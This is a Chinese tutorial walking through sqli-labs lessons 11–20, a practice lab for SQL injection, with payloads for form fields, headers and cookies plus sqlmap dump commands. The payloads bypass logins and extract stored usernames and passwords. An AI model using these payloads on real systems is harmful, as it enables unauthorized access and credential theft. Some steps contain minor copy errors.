Lesson-11
该题为单引号post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,在登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select username, password from users where username='$uname' and password='$passwd' limit 0,1; # 返回内容 if true: 输出查询信息 else: print_r(mysql_error());
注意:本题与Lesson1利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点$uname、$passwd
涉及登录的注入难免会让人想到万能密码漏洞,以上可知 SQL 查询语句如下:
select username, password from users where username='$uname' and password='$passwd' limit 0,1;
那么我们只需要将$uname
或$passwd
修改为1'#
即可完成登录绕过,造成经典的万能密码漏洞
select username, password from users where username='1'#' and password='' limit 0,1;
类似的 payload 如下:
#注释 passwd uname=admin'--+&passwd=1 uname=admin'#&passwd=1 #注释语句 + 添加真条件 uname=admin&passwd=1' or 1--+ uname=admin&passwd=1'||1--+ uname=admin&passwd=1' or 1# uname=admin&passwd=1'||1# #闭合语句 + 添加真条件 uname=admin&passwd=1'or'1'='1 uname=admin&passwd=1'||'1'='1
使用联合查询判断注入点,尝试验证
uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功登录
判断字段数
uname=admin&passwd=1'%20order%20by%202#&submit=Submit //返回正常界面
uname=admin&passwd=1'%20order%20by%202#&submit=Submit //返回错误界面
由此可说明字段数为2,通过 union select 查看回显位置
uname=admin&passwd=-1'%20union%20select%201,2#&submit=Submit
查询基础信息
uname=admin&passwd=-1'%20union%20select%20user(),database()#&submit=Submit uname=admin&passwd=-1'%20union%20select%20version(),2#&submit=Submit
查询表名
uname=admin&passwd=-1'%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'#&submit=Submit
查询列名
uname=admin&passwd=-1'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'#&submit=Submit
查询关键信息
uname=admin&passwd=-1'%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&submit=Submit
Lesson-12
该题为单括号双引号post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select username, password from users where username=("$uname") and password=("$passwd") limit 0,1; # 返回内容 if true: 输出查询信息 else: print_r(mysql_error());
注意:本题与Lesson11利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点$uname、$passwd
使用联合查询判断注入点,尝试验证
uname=admin&passwd=1")%20or%20("1")=("1&submit=Submit //成功登录
判断字段数
uname=admin&passwd=1")%20order%20by%202#&submit=Submit //返回正常界面
uname=admin&passwd=1")%20order%20by%203#&submit=Submit //返回错误界面
由此可说明字段数为2,通过 union select 查看回显位置
uname=admin&passwd=-1")%20union%20select%201,2#&submit=Submit
查询基础信息
uname=admin&passwd=-1")%20union%20select%20user(),database()#&submit=Submit uname=admin&passwd=-1")%20union%20select%20version(),2#&submit=Submit
查询表名
uname=admin&passwd=-1")%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema='security'#&submit=Submit
查询列名
uname=admin&passwd=-1")%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'#&submit=Submit
查询关键信息
uname=admin&passwd=-1")%20union%20select%20group_concat(username),group_concat(password)%20from%20users#&submit=Submit
Lesson-13
该题为单括号单引号post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select username, password from users where username=('$uname') and password=('$passwd') limit 0,1; # 返回内容 if true: 无输出信息 else: print_r(mysql_error());
注意:本题与Lesson5利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点$uname、$passwd
使用报错注入判断注入点,尝试验证
uname=admin&passwd=1')%20or%20('1')=('1&submit=Submit //成功登录
查询基础信息
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit
查询表名
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit
查询列名
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),0x7e),1)#&submit=Submit
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit
uname=admin&passwd=1')%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%201,1),0x7e),1)#&submit=Submit
Lesson-14
该题为双引号post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname']; $passwd = $POST['passswd']; $uname = '"'.$uname.'"' $passwd = '"'.$passwd.'"' $sql = select username, password from users where username=$uname and password=$passwd limit 0,1; # 返回内容 if true: 无输出信息 else: print_r(mysql_error());
注意:本题与Lesson13利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点$uname、$passwd
使用报错注入判断注入点,尝试验证
uname=admin&passwd=1"%20or%20"1"="1#&submit=Submit //成功登录
查询基础信息
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit
查询表名
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit
查询列名
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users"),0x7e),1)#&submit=Submit
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit
uname=admin&passwd=1"%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%201,1),0x7e),1)#&submit=Submit
Lesson-15
该题为单引号post型注入,利用方式包括布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select username, password from users where username='$uname' and password='$passwd' limit 0,1; # 返回内容 if true: 无输出信息 else: 无报错信息,但返回图片不同
注意:本题与Lesson7利用方式相同,只不过传输方式由get变成了post,与此同时存在两个注入点$uname、$passwd
使用布尔盲注判断注入点,尝试验证
uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功登录
查询长度
uname=admin&passwd=1'%20or%20length(user())>1#&submit=Submit //返回成功界面 uname=admin&passwd=1'%20or%20length(user())>20#&submit=Submit //返回失败界面
确认长度为14位
uname=admin&passwd=1'%20or%20length(user())=14#&submit=Submit
查询字符
uname=admin&passwd=1'%20or%20substr(user(),1,1)='r'#&submit=Submit //返回成功界面
uname=admin&passwd=1'%20or%20substr(user(),2,1)='r'#&submit=Submit //返回失败界面
确定用户名为root@localhost
uname=admin&passwd=1'%20or%20substr(user(),1,14)='root@localhost'#&submit=Submit
以此类推即可查询数据库名、表名、列名等
uname=admin&passwd=1'%20or%20substr(database(),1,14)='security'#&submit=Submit
由于盲注太过繁琐,可以使用 sqlmap 来获取信息。比较方便的是我们可以将数据包保存为文本文件并使用星号标记注入点
POST /sqli/Less-15/ HTTP/1.1 Host: 172.16.117.135 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 78 Origin: http://172.16.117.135 Connection: close Referer: http://172.16.117.135/sqli/Less-15/ Upgrade-Insecure-Requests: 1 uname=admin&passwd=1&submit=Submit
使用 sqlmap 调取数据包文本进行扫描
sqlmap -r less15.txt --dbms=mysql --flush-session -v 3 -D security -T users --dump
当然也可以直接设置参数进行扫描
sqlmap.py -u "http://172.16.117.135/sqli/Less-15/" --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump
扫描结果如下:
Lesson-16
该题为单括号双引号post型注入,利用方式包括布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
$uname = $POST['uname']; $passwd = $POST['passswd']; $uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; $sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; # 返回内容 if true: 无输出信息 else: 无报错信息,但返回图片不同
注意:本题与Lesson15利用方式相同,只不过更改了拼接方式,与此同时存在两个注入点$uname、$passwd
使用布尔盲注判断注入点,尝试验证
uname=admin&passwd=1")%20or%20("1")=("1&submit=Submit //成功登录
查询长度
uname=admin&passwd=1")%20or%20length(user())>1#&submit=Submit //返回成功界面 uname=admin&passwd=1")%20or%20length(user())>20#&submit=Submit //返回失败界面
确认长度为14位
uname=admin&passwd=1")%20or%20length(user())=14#&submit=Submit
查询字符
uname=admin&passwd=1")%20or%20substr(user(),1,1)='r'#&submit=Submit //返回成功界面
uname=admin&passwd=1")%20or%20substr(user(),2,1)='r'#&submit=Submit //返回失败界面
确定用户名为root@localhost
uname=admin&passwd=1")%20or%20substr(user(),1,14)='root@localhost'#&submit=Submit
以此类推即可查询数据库名、表名、列名等
uname=admin&passwd=1")%20or%20substr(database(),1,14)='security'#&submit=Submit
由于盲注太过繁琐,可以使用 sqlmap 来获取信息。比较方便的是我们可以将数据包保存为文本文件并使用星号标记注入点
POST /sqli/Less-16/ HTTP/1.1 Host: 172.16.117.135 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 78 Origin: http://172.16.117.135 Connection: close Referer: http://172.16.117.135/sqli/Less-16/ Upgrade-Insecure-Requests: 1 uname=admin&passwd=1&submit=Submit
使用 sqlmap 调取数据包文本进行扫描
sqlmap.py -u "http://172.16.117.135/sqli/Less-16/" --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump --level=3
当然也可以直接设置参数进行扫描
sqlmap.py -u "http://172.16.117.135/sqli/Less-16/" --data “uname=1&passwd=&submit=Submit” --dbms=mysql --flush-session -v 3 -D security -T users --dump --level=3
扫描结果如下:
Lesson-17
该题为单引号 post型注入,利用方式包括报错注入、布尔盲注、时间盲注,密码重置界面以 post 方式接收变量
目标SQL语句如下:
$uname = check_input($POST['uname']); $passwd = $POST['passswd']; $sql="SELECT username, password FROM users WHERE username=$uname LIMIT 0,1"; # 返回内容 if true: $update="UPDTATE users SET password = '$passwd' WHERE username='$row'"; if 报错: print_r(mysql_error());
注意:本题由于过滤了$uname参数,唯一的注入点在update语句当中且只使用了单引号拼接。操作正确无提示,因此只能使用报错注入、布尔盲注、时间盲注
使用报错注入判断注入点,尝试验证
uname=admin&passwd=1'%20or%20'1'='1&submit=Submit //成功修改
查询基础信息
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)#&submit=Submit uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20version()),0x7e),1)#&submit=Submit uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)#&submit=Submit uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20@@version_compile_os()),0x7e),1)#&submit=Submit
查询表名
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="security"),0x7e),1)#&submit=Submit
查询列名
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1),0x7e),1)#&submit=Submit
但这时候出现报错,这是因为updatexml
是更新,不能更新后再进行查询,可使用派生表的方式进行查询解决这一问题的产生。
注意:该问题只出现于MySQL,MSSQL以及Oracle都不会出现这种问题。
uname=admin&passwd=1'%20and%20updatexml(1,concat(0x7e,(select%20*%20from%20(select%20concat(username,0x7e,password)%20from%20users%20limit%200,1)%20a)),1)#&submit=Submit
也可以直接使用 floor 进行报错注入(语句太长,一般记不住)
uname=admin&passwd=1'%20and%20(select%201%20from%20(select%20count(*),concat_ws(0x7e,(select%20concat_ws(0x7e,id,username,password)%20from%20users%20limit%200,1),floor(rand()*2))as%20a%20from%20information_schema.tables%20group%20by%20a)%20b)%20where%20username='admin'#&submit=Submit
Lesson-18
该题为uagent post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量并输出了IP地址
目标SQL语句如下:
$uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR'] $uname = check_input($POST['uname']); $passwd = check_input($POST['passswd']); $sql="SELECT user.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; # 返回内容 if SQL语句有返回结果: $insert ="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')"; 输出 $uagent; print_r(mysql_error()); if 报错: print_r(mysql_error());
注意:本题由于过滤了$uname、$passwd参数,唯一的注入点在insert语句当中。我们需要输入正确的账号密码才会用到 insert 语句,因此只能使用报错注入、布尔盲注、时间盲注
在 PHP 中可用来获取客户端 IP 变量如下:
- $_SERVER['HTTP_CLIENT_IP']:很少使用,客户端可伪造
- $_SERVER['HTTP_X_FORWARDED_FOR']:客户端可伪造
- $_SERVER['REMOTE_ADDR']:客户端不能伪造
由于$_SERVER['REMOTE_ADDR']
是无法被客户端伪造的,当账号密码成功输入会返回 User-Agent 信息,因此只能通过修改 User-Agent 进行注入
使用报错注入查询基础信息
User-Agent: 1' or updatexml(1,(concat(0x7e,(select user()),0x7e)),1) and '1'='1 User-Agent: 1' or updatexml(1,(concat(0x7e,(select database()),0x7e)),1) and '1'='1 User-Agent: 1' or updatexml(1,(concat(0x7e,(select version()),0x7e)),1) and '1'='1
查询表名
User-Agent: 1' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)),1) and '1'='1
查询列名
User-Agent: 1' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)),1) and '1'='1
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
User-Agent: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1
User-Agent: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e)),1) and '1'='1
Lesson-19
该题为referer post型注入,利用方式包括报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量并输出了IP地址
目标SQL语句如下:
$uagent = $_SERVER['HTTP_USER_AGENT']; $IP = $_SERVER['REMOTE_ADDR'] $uname = check_input($POST['uname']); $passwd = check_input($POST['passswd']); $sql="SELECT user.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1"; # 返回内容 if SQL语句有返回结果: $insert ="INSERT INTO `security`.`referers` (`referer`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')"; 输出 $SERVER['HTTP_REFERER']; print_r(mysql_error()); if 报错: print_r(mysql_error());
注意:本题与Lesson18的利用方式相同,只不过注入点由User-Agent换成了Referer当中
在 PHP 中可用来获取客户端 IP 变量如下:
- $_SERVER['HTTP_CLIENT_IP']:很少使用,客户端可伪造
- $_SERVER['HTTP_X_FORWARDED_FOR']:客户端可伪造
- $_SERVER['REMOTE_ADDR']:客户端不能伪造
由于$_SERVER['REMOTE_ADDR']
是无法被客户端伪造的,当账号密码成功输入会返回 Referer 信息,因此只能通过修改 Referer 进行注入
使用报错注入查询基础信息
Referer: 1' or updatexml(1,(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security"),0x7e)),1) and '1'='1
查询表名
Referer: 1' or updatexml(1,(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users"),0x7e)),1) and '1'='1
查询列名
Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1
查询关键信息,通过更改 limit 中的前后位数字可控制数据显示位置以及数量
Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e)),1) and '1'='1
Referer: 1' or updatexml(1,(concat(0x7e,(select concat(username,0x7e,password) from users limit 1,1),0x7e)),1) and '1'='1
Lesson-20
该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量
目标SQL语句如下:
if cookie 不存在 $uname: if 提交 $uname 和 $passwd $uname = $POST['uname']; $passwd = $POST['passswd']; $sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1; $cookee = $row1['username']; # 返回内容 if 返回SQL查询结果: setcookie('uname', $cookee, timne()-3600) else: print_r(mysql_error()); else: if POST 数据中没有 $submit: $cookee = $_COOKIE['uname']; $sql = "select * from users WHERE usernmae='$cookee' LIMIT 0,1"; if 无查询结果: print_r(mysql_error()); else: 输出查询信息 else: setcookie('uname', $row1['username'], time-3600);
注意:本题源码相对之前的较为复杂,注入点存在于cookie当中,它会从cookie中读取$uname并拼接至SQL语句当中从到造成注入,与此同时还输出了查询信息。因此可以联合查询、报错注入、布尔盲注、时间盲注
登录成功后界面如下:
使用联合查询判断字段数
Cookie: uname=admin' order by 3# //返回正常界面
Cookie: uname=admin' order by 4# //返回错误界面
由此可说明字段数为3,通过 union select 查看回显位置
Cookie: uname=-admin' union select 1,2,3#
查询基础信息
Cookie: uname=-admin' union select 1,2,user()# Cookie: uname=-admin' union select 1,2,version()# Cookie: uname=-admin' union select 1,2,database()#
查询表名
Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
查询列名
Cookie: uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#
查询关键信息
Cookie: uname=-admin' union select 1,group_concat(username),group_concat(password) from users#
0x04 总结
该靶场是学习 SQL 注入的好途径,刷完全部题目后面对 SQL 注入的了解有很大帮助,整个靶场以 MySQL + PHP 搭建环境为主,根据不同环境切换了 Windows、Linux 以及 Tomcat 代理。如果想要测试目标点是否存在 SQL 注入,我们应该从请求方式、注入点闭合方式、请求头部、后端SQL语句以及注入方式等方面进行考虑,确定了这些后再想方设法绕过站点中的 一些限制性因素情况等,其实这就是手工注入的魅力,当然会使用 sqlmap 也是一件好事,有了手工+自动两种方式的结合,在面对一般的 SQL 注入问题都可以迎刃而解。本文详细讲解了靶场环境搭建以及1-20关基础注入的通过教程,后续将持续推出21-65关通关教程。